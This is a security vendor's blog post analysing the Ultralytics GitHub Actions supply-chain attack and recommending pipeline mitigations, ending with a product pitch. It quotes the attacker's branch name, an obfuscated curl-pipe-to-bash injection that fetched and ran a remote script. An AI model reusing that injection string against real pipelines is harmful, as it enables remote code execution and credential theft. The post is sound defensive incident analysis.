• Blog
  • The Ultralytics Supply Chain Attack: How It Happened, How to Prevent

Blog

The Ultralytics Supply Chain Attack: How It Happened, How to Prevent

Get details on this recent supply chain attack and how to avoid falling victim to similar attacks. 

On December 4, 2024, a supply chain attack was executed against the Ultralytics Python project, one of the world's leading computer-vision AI libraries, leading to at least four compromised versions of the library being uploaded to PyPi and infecting users with a crypto-miner.  

This attack once again highlights the prevalence and effectiveness of attacks based on vulnerable pipelines. It is also worth stressing that the targets of this attack were the users of Ultralytics, and not Ultralytics itself, reinforcing the trend of reaching victims through an infected supply chain rather than attacking them directly. So how did the attacker achieve this, and how can organizations prevent similar attacks? Let's dive into it:  

 

Details of Ultralytics attack  

The main factor that enabled the Ultralytics attack was the pipeline's reliance on two insecure practices within GitHub Actions.  

The first was the use of the “pull_request_target” trigger. A quick refresher: in the context of GitHub, Actions “triggers” are events that dictate the start of a pipeline’s run and the scope and environment in which the action executes. The “pull_request_target” trigger is considered unsafe because, when used, the pipeline has access to internal secrets and read-write permissions via the auto-generated ‘GITHUB_TOKEN’ unless explicitly stated otherwise, even if triggered from a fork.  

Using this trigger is always risky, yet sometimes it is necessary. However, unless combined with an explicit checkout of malicious code or some other user-controlled value, there is no harm, no foul. So what happened next?  

Ultralytics-1

(snippet from the ‘format.yml’ pipeline)    

Ultralytics used the first pipeline to trigger a second custom GitHub Action, passing it the privileged GITHUB_TOKEN. In this custom Action, we face the second vulnerability in the following lines:  

Ultralytics-2

(snippet from the “action.yml” pipeline) 

In line 5, we find the next piece of the puzzle: The ‘action.yml' uses a user-controlled value: the name of the branch, in a run element without sanitizing it. In other words, a value in a $ block is evaluated like part of the shell script and not like a string. The attacker named the branch used to trigger these pipelines the following odd name:  

openimbot:$({curl,-sSfL,raw.githubusercontent.com/ultralytics/ultralytics/d8daa0b26ae0c221aa4a8c20834c4dbfef2a9a14/file.sh}${IFS}|${IFS}bash) 

This is a case of code injection, where the curl runs within the pipeline, getting the now-deleted ‘file.sh' and running arbitrary code inside the runner. 

The rest is not entirely clear since the attacker made sure to cover their tracks. But it is safe to assume that using the file.sh script, the attacker both uploaded the infected version of the library to PyPi and stole credentials that allowed him to infect the package three more times in the day following the uncovering of the initial attack. 

 

What can we learn from this attack?  

First: Avoid constructing your CI/CD pipelines with the same vulnerabilities used in Ultralytics. We recommend the following: 

When possible, avoid using dangerous triggers, such as workflow_run and pull_request_target. 

If you can’t avoid them, use the following mitigation strategies: 

  • Do not run the workflow automatically.  
  • Require a maintainer’s approval before executing (using labels or environments).  
  • Set the workflow token permissions to the bare minimum.  
  • Do not trust any input from the originating workflow; treat any data as potentially malicious. 

If these rules had been followed, the suspicious branch name would probably have been noticed, and the workflow would not have received permission to run. 

Second, ensure any user-controlled content, such as branch names, Pr names, and others, is sanitized and not directly called within run blocks, thus minimizing the chance of injection.  

The GitHub security lab gives the following advice 

The best practice to avoid code and command injection vulnerabilities in GitHub workflows is to set the untrusted input value of the expression to an intermediate environment variable: 

Ultralytics-3

 

Legit pipeline scanning 

 While this advice may be straightforward, implementing it at an enterprise scale is no simple task. Large organizations may have tens or hundreds of open-source projects, each using multiple pipelines that may hide weaknesses.  

 This is where Legit comes into the picture; Legit’s pipeline scanning capabilities alert users to vulnerabilities in CI/CD pipelines, including the use of unsafe triggers in GitHub Actions and unsanitized user content being called within run blocks.  

Learn more about GitHub Actions, our research around them, and how Legit helps enterprises use them securely. 

Share this guide

Published on
February 19, 2025

Get a stronger AppSec foundation you can trust and prove it’s doing the job right.

Request a Demo